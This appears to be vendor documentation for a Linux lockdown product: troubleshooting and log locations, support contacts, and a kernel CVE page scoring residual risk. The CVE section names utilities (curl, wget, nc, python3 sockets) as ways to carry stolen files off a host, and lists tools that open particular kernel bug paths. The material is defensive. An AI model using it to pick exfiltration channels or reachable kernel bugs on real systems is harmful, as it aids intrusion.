These cover a backported fix, OpenSCAP tailoring, or intrusion prevention alongside the scanner rule.

13 - Blocked, wrong kernel, or silent fail?

Overview: When something stops working under Lockdown, the cause is usually a missing allowlist entry, a different mode or kernel than expected (Setup Mode vs Lockdown, immutable seal, or the maintenance kernel), or a kernel issue.

Root Lock by HeartSuite shows which one on the Dashboard. The indicator at the top shows the current protection state, and the Suggested Next Step tells you what to do.

Installer and Dashboard logs live under /var/log/heartsuite/. Use the provider serial console to cat them. AWS Get system log is a buffered snapshot of that serial output, separate from CloudWatch. CloudWatch, Cloud Logging, and Log Analytics need the platform logging agent plus IAM, which Root Lock does not install. Paths and the three cloud surfaces are listed in Appendices → Log files.

Where to start

Start with the Dashboard, because it already counts and groups what was blocked by category. Before checking log files, review:

• Protection state (indicator at the top): Shows the current protection level: “SETUP MODE”, “LOCKDOWN — immutable seal not applied”, “Lockdown applied”, or “maintenance kernel”. “Lockdown applied” is Lockdown with the immutable seal.
• Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode with uptime, and lockdown status.
• Pending/Denied counts: In Setup Mode, these are pending items awaiting approval. In Lockdown, these are denied actions that may need allowlisting.
• Suggested Next Step: Provides a single, actionable recommendation based on the current system state.

Log management

Root Lock logs activity and presents it through the Dashboard’s three review queues: Programs ([p]), File Access ([f]), and Internet Access ([i]). The Dashboard shows pending counts for each queue and groups items by category, so you always know what needs attention. Maintenance ([m]) provides guided workflows for common maintenance tasks.

The review queues are how you see and resolve what needs attention. The underlying activity log is a temporary buffer — once all three review queues are empty and Secure Script Launchers is no longer pending, the Dashboard clears the log on its next refresh, without manual action.

For compliance, SIEM integration, or long-term retention, enable Syslog on Alert Settings → Fleet. Denial lines and aggregated alerts then go to the journal under ident heartsuite (alert lines use the message prefix heartsuite-alert:). Approvals are in /var/log/heartsuite/allowlist-audit.log. See SIEM and Fleet Integration. Formal compliance evidence is covered in the SOC 2 and compliance reference documents.

Allow several days to a week of observation in Setup Mode, because systemd timers, cron jobs, and infrequent services appear in the review queues only when they run.

Kernel log

The Dashboard’s review queues automatically collect entries from both the Root Lock activity log and the kernel log. During normal operation, you do not need to read dmesg directly.

The kernel log is useful for advanced troubleshooting in three situations: a program fails but the Dashboard shows zero pending or denied items for it; the Root Lock activity log has been cleared or rotated; or you need to correlate Root Lock entries with other kernel messages:

dmesg | grep HEARTSUITE

The Dashboard presents the same information with metadata enrichment and grouping, but only on the Root Lock kernel. On the maintenance kernel the TUI is Maintenance standalone, and the strip reads maintenance kernel: Root Lock not active No blocking · No logging · No backups. Express return, which lands you in Setup Mode on the Root Lock kernel, is meant to get you off that kernel quickly.

Nested virtual machines without hardware virtualization

The Local Path command is the same on a physical host and on a full VM. If you created a virtual machine inside a VPS or cloud guest that has no /dev/kvm, the installer stops at the start. Install Root Lock on the outer machine, or use a host that provides hardware virtualization. See Bare metal, virtual machines, and nested VMs.

Reporting issues

If you encounter a product bug, email support@heartsecsuite.com with your Root Lock version, kernel version (uname -r), the protection state shown at the top of your Dashboard, and steps to reproduce. For documentation issues, use heartsuite-docs issues. For security vulnerabilities, email support@heartsecsuite.com — do not use public issue trackers.

14 - Does this replace EDR? And other FAQs

General

Installation

Allowlisting

Modes and security

Troubleshooting

For support email support@heartsecsuite.com.

15 - Kernel Security Transparency

Overview: This page is the status of kernel CVEs on the Root Lock kernel you boot. uname -r is 6.18.9-hs. Kernel 5.19.6 is an archived line. A CVE in an application you run, such as a web server, an FTP server, a database, or a CI server, is outside this list. If that program is on your allowlist, its bug fires in that program.

On this kernel the BPF syscall is off, so there is no eBPF program to load. Each row was read from the published build configuration and the kernel source. No exploit was run to produce these rows.

The long write-ups also print a Score on Root Lock beside the status word. That figure is a CVSS environmental score for one deployment. When the bug can be reached only through a program that has no allowlist entry, that program does not run and the catalog prints 0.0. The catalog also prints 0.0 when the hardware the bug needs is not in the machine. Approving the missing program makes that row Affected. The number for the seven rows below is in the note at the end of this page.

Residuals (non-zero Score on Root Lock)

These seven CVEs are Affected on 6.18.9-hs. The base score is the upstream score. Full write-ups: Compiled-in CVEs. The environmental figure for this table is in the note at the end of this page.

The io_uring CVEs in the catalog are already fixed on 6.18.9-hs. CONFIG_IO_URING stays set, so a later io_uring finding stays on the patch date.

These seven stay on the patch date in your policy. The fix arrives in a Root Lock bundle. A program you already approved can hit a bug in this table. It can read the files it was granted, and it can panic the kernel. It does not start a program that has no allowlist entry. The next boot loads the allowlist saved on disk. Filing the row does not close it.

The Four Assessment Gates

Every entry on this page was checked by reading the build configuration and the kernel source, in this order. Nothing was assumed about what is compiled in, and a scanner result was not taken as the answer. A person checks the row before it is published. The check does not include running an exploit against a Root Lock host. A lab attack test is a separate kind of evidence.

Gate 1 — Is the vulnerable code compiled in? The Root Lock kernel configuration is checked against the relevant CONFIG_ option. If the option is not set, the vulnerable code is not in the kernel you boot. The check stops here as Not affected, whatever the kernel version string says.

Gate 2 — Does Root Lock’s outbound connection control cover the attack path? For a CVE that uses a socket, Root Lock checks outbound connect() calls. A path that reaches the kernel by creating a socket, by sendmsg or recvmsg, or by crypto inside the kernel is outside that check, and the write-up says so.

Gate 3 — Can the program that reaches this bug run? The allowlist is checked on every program start, whether or not Lockdown is on. A program with no allowlist entry does not run. That covers a program the attacker drops, and it covers a bug that can be reached only through a particular program, such as tc or bpftool. If that program has no entry, the catalog prints 0.0. Under Lockdown the allowlist file is immutable, so no new entry can be added after Lockdown. This gate does not apply when the CVE is reached from a program already on the allowlist. A bug in an allowlisted Apache or PHP process is that case: the bug runs inside a program you approved, the row is Affected, and it stays on the patch date. A program you approved runs, including one that arrived in an update you accepted, and it can start only a program that already has an entry. What Root Lock refuses next is a program, a file, or a destination that program was never granted.

Gate 4 — What can root actually do under Lockdown? When a CVE gives an attacker root, Lockdown applies a further limit. The kernel refuses to clear the immutable flag on a file (chattr -i is refused). mount(), fsmount(), and move_mount() are refused. The next boot loads the allowlist saved on disk, so a change that lived only in memory is gone. Clearing Lockdown takes a reboot from the physical console or the serial console onto the maintenance kernel. SSH cannot make that pick. SSH remains how you administer the host before and after that step. Those limits hold on the kernel you boot.

Reading files and reading memory during the live session stay open. Sending the files off the host depends on an approved program that can open a connection, such as curl. The bug can panic the kernel. Firmware, the machine’s management controller, and a physical attack on the boot chain are outside this page. Disk encryption is what protects the data on disk. An Affected entry says so where that is the case.

Scanner Guidance

When a scanner flags Root Lock for a CVE listed as Not affected, the result is a version-string match. The scanner has found a kernel version older than the upstream fix and has not checked whether the vulnerable code is in the kernel you boot.

The steps for recording an exception, for the maintenance kernel, and for the published advisory feeds are on CVE Hygiene for Scanners.

Share this section and the Disabled features list with your scanner vendor when you dispute a row. The proof is the published build configuration for the kernel you boot, not the version string. On 6.18.9-hs the file /boot/config-6.18.9-hs is an 11-line stub, so a search of that file does not show whether the option is set. The configuration to use is the one named on Evidence Status.

How to read the backstop sections

On the write-ups, the backstop is the limit that still applies after the bug fires. The write-ups name two controls, and a boot latch sits in front of both.

The allowlist is checked on every program start, whether or not Lockdown is on. A program with no allowlist entry does not run.

The latch is heartsuite-kernel-latch.service. Early in every Root Lock kernel boot, before the network is configured and before sshd starts, it loads the netfilter modules the firewall needs and sets kernel.modules_disabled=1. Root Lock is not running yet in that window, so the allowlist is not what stops those loads. Until the next reboot, a later modprobe stays refused. The latch does not unload a module already in memory. HS_lockdown.sh writes the same setting again, where that setting exists, in case the latch service is masked. OpenRC has no latch service and gets that write only when Lockdown is applied.

For a bug that lives only in a module that was not loaded at boot, the latch is the control the write-up is naming. An option set to =m stays on the patch date. Not affected is the word for an option that is unset. Code built in with =y, and code in a module that did load, is in the running kernel.

Note on Scores on Root Lock and deployment tuning

File the seven rows above as Affected. Score on Root Lock is a second number for one deployment: 7.1 HIGH when the allowlist already includes a program that can send data off the host, such as curl or wget, and 6.1 MEDIUM when you have confirmed that it includes none of those. The row stays on the patch date either way. The detail below is the CVSS environmental vector behind those two figures.

They are published at 7.1 HIGH for an allowlist that already holds an outbound networking utility such as curl, wget, outbound ssh, nc, or python3 with sockets. A live session can read files and send them off the host through that utility, so Modified Confidentiality stays High (MC:H). Modified Integrity is None (MI:N): a new program does not run, the allowlist stays as loaded, and the session ends at reboot. Modified Availability stays High (MA:H) because the bug can panic the kernel. The vector is CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/MC:H/MI:N/MA:H, which is 7.1 HIGH.

If you have confirmed that your allowlist holds none of those utilities, the same vector with MC:L is 6.1 MEDIUM. A live session can read files, and carrying them off the host then takes the console. The published figure stays 7.1 until you have confirmed that.

An allowlist with no process-mutation utilities (kill, pkill, or init-system control beyond what Root Lock itself uses) can treat the userspace part of a disruption as MA:L. A kernel panic does not depend on the allowlist, so the published figure keeps MA:H.

Catalog rows marked fixed on 6.18.9-hs keep the archived 5.19.6 score.

Note on Not-exploitable entries that depend on allowlist composition

A row prints 0.0 when the program that reaches the bug has no allowlist entry. That program does not run, so the path is not reached on a host that has not approved it. Setup Mode fills the allowlist from the programs your services actually run. If you approve the program, file the row as Affected and keep it on the patch date. Not affected stays the word for an option that is unset.

Module loads after boot are the other control: kernel.modules_disabled, written by the boot latch.

• modprobe, insmod, and kmod load kernel modules. On Debian 12 these resolve to kmod. Once the latch has run, a later modprobe stays refused. CVE-2024-36883 stays at 0.0 because no new module can finish its network setup after the latch. The latch does not unload a module already in memory.
• tc (iproute2) changes traffic-control settings. Allowlisting it makes CVE-2025-37914, CVE-2025-37915, CVE-2025-37923, CVE-2025-22121, and the other traffic-control rows Affected.
• bpftool, trace-cmd, perf, and programs that write kernel trace data are kernel instrumentation. Allowlisting them makes the tracing rows, including CVE-2024-38588, Affected.
• dmsetup, raw block-device tools, and cryptsetup mappings created after boot change block storage. Same shape.
• ip xfrm, setkey, strongSwan, libreswan, or any IKE daemon sets up an encrypted network tunnel. Allowlisting any of these makes that path reachable and makes CVE-2026-43284 Affected at its base score of 8.8 HIGH.
• e4defrag, or any extent-defragmentation tool, reaches ext4 online defragmentation. Allowlisting it makes CVE-2024-26704 Affected at its base score of 7.8 HIGH.

If you run a development or debug host and you need one of these tools, file the matching catalog row as Affected. The kernel refuses a program that has no allowlist entry. The tool you approved is itself the way in.

15.1 - Compiled-in CVEs — what each score means

Overview: Each row is a kernel CVE for a path in the Root Lock kernel. The word you file is on Kernel Security Transparency: Not affected when the option is unset, Affected when the code is in the kernel you boot, or Fixed on 6.18.9-hs when that kernel already has the upstream fix. An Affected row stays on the patch date.

A Score on Root Lock of 0.0 is printed when the program that reaches the bug has no allowlist entry, so that program does not run, and when the hardware the bug needs is not present. Approving the program makes the row Affected. Not affected is the other word, for an option that is unset. Application CVEs, such as a bug in a web server or database you approved, are outside this catalog. No exploit was run to produce these rows. Groups whose option is unset are on Not Affected — Disabled Features.

Module loads after boot. Where a write-up says a module cannot be loaded, the control is heartsuite-kernel-latch.service. Early in every Root Lock kernel boot, Setup Mode included, before sshd starts, it loads the netfilter modules the firewall needs and sets kernel.modules_disabled=1. Until the next reboot, a later modprobe stays refused (init_module, finit_module, and delete_module). The latch script does not unload modules already in memory. OpenRC has no latch service and gets that setting from HS_lockdown.sh when Lockdown is applied. A 0.0 on an =m option does not take that row off the patch date. Not Affected means the option is unset.